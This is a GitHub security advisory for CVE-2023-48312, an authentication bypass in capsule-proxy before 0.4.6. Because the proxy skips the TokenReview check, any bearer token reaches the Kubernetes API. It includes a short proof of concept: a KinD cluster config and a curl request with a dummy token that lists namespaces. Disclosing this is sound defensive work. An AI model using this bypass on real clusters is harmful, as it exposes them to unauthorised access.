GitHub Advisoryadvisory · Go
GHSA-fpvw-6m5v-hqfp Capsule Proxy Authentication bypass using an empty token
CRITICAL
Official page ↗
- Aliases
- CVE-2023-48312
- Ecosystem
- Go
- Packages
- github.com/projectcapsule/capsule-proxy, github.com/clastix/capsule-proxy
- Severity
- Critical
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Weaknesses
- CWE-287
- Reviewed
- 2023-11-24
Affected packages
• Go github.com/projectcapsule/capsule-proxy: < 0.4.6 → fixed in 0.4.6
• Go github.com/clastix/capsule-proxy: < 0.4.6 → fixed in 0.4.6
Description
The privilege escalation is based on a missing check if the user is authenticated based on the `TokenReview` result.
All the clusters running with the `anonymous-auth` Kubernetes API Server setting disable (set to `false`) are affected since it would be possible to bypass the token review mechanism, interacting with the upper Kubernetes API Server.
PoC
Start a KinD cluster with the `anonymous-auth` value to `false`.
If it is true, it uses anonymous permissions which are very limited by default
```yaml
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
nodes:
• role: control-plane
kubeadmConfigPatches:
• |
kind: ClusterConfiguration
apiServer:
extraArgs:
anonymous-auth: "false"
```
Install `capsule` and `capsule-proxy`
```
k port-forward svc/capsule-proxy 9001
Forwarding from 127.0.0.1:9001 -> 9001
Forwarding from [::1]:9001 -> 9001
Handling connection for 9001
```
Then query the proxy
```
curl -g -k -H 'Authorization: Bearer f' -X 'GET' 'https://localhost:9001/api/v1/namespaces'
```
Impact
The whole cluster is exposed to unauthorised users.
This privilege escalation cannot be exploited if you're relying only on client certificates (SSL/TLS).
Related
Alias · CVE (1)
- CVE-2023-48312 capsule-proxy is a reverse proxy for the capsule operator project. vulnerability
Weakness · CWE (1)
- CWE-287 Improper Authentication weakness
References
- https://github.com/projectcapsule/capsule-proxy/security/advisories/GHSA-fpvw-6m5v-hqfp web
- https://nvd.nist.gov/vuln/detail/CVE-2023-48312 advisory
- https://github.com/projectcapsule/capsule-proxy/commit/472404f7006a4152e4eec76dee07324dd1e6e823 web
- https://github.com/projectcapsule/capsule-proxy package